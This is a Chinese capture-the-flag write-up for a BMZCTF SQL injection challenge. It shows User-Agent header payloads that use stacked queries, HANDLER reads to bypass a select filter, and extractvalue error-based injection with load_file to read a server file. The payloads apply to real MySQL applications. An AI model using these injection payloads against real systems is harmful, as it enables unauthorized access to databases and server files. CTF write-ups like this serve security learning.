BMZCTF:sqlii

http://www.bmzclub.cn/challenges#sqlii

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
回显了User-AgentIPuname数据,猜测讲这些数据插入了数据库然后查询返回,结合上图别打头,猜测就是User-Agent注入

User-Agent: 'order by 5#

在这里插入图片描述
很明显存在注入,接着就是fuzz,测试的过程中发现过滤了

select
delete
drop
insert
alter
where
prepare
set
.......

并且发现存在堆叠注入

User-Agent: ';show databases;#

在这里插入图片描述
发现sqli库下存在一个比较奇怪的表

User-Agent: ';show tables from sqli;#

在这里插入图片描述
看一下这个表的字段

User-Agent: ';show columns from sqli.23323333;#

在这里插入图片描述
发现fllag字段,尝试查询sqli.23323333中的fllag字段。这里虽然过滤select,但是有堆叠,可以尝试使用handler来查询数据
在这里插入图片描述

User-Agent: ';handler 23323333 open;handler 23323333 read first;#

在这里插入图片描述
但是不知道为啥没有数据,读了一下别的表是可以读到第一条数据的,猜测这个sqli.23323333表中没有flag,flag应该在服务器上,那就要尝试文件读取了。
查看下有没有使用load_file()的前提条件

User-Agent: ';show global variables like '%secure%';#

在这里插入图片描述
secure_file_priv的值为空,有条件利用load_file(),但是这里因为select被过滤无法利用联合查询,但是这里有报错回显,可以用报错注入,虽然updatexml()被过滤,但是还可以使用extractvalue()

User-Agent: 'or extractvalue(7,concat(0x7e,user(),0x7e));#

在这里插入图片描述

User-Agent: 'or extractvalue(7,concat(0x7e,load_file('/flag'),0x7e));#

在这里插入图片描述
因为报错函数只能回显32位数据,这里mid()截一下读一下后面的即可

User-Agent: 'or extractvalue(7,concat(0x7e,mid(load_file('/flag'),20),0x7e));#

在这里插入图片描述

相关推荐
©️2020 CSDN 皮肤主题: 撸撸猫 设计师:马嘣嘣 返回首页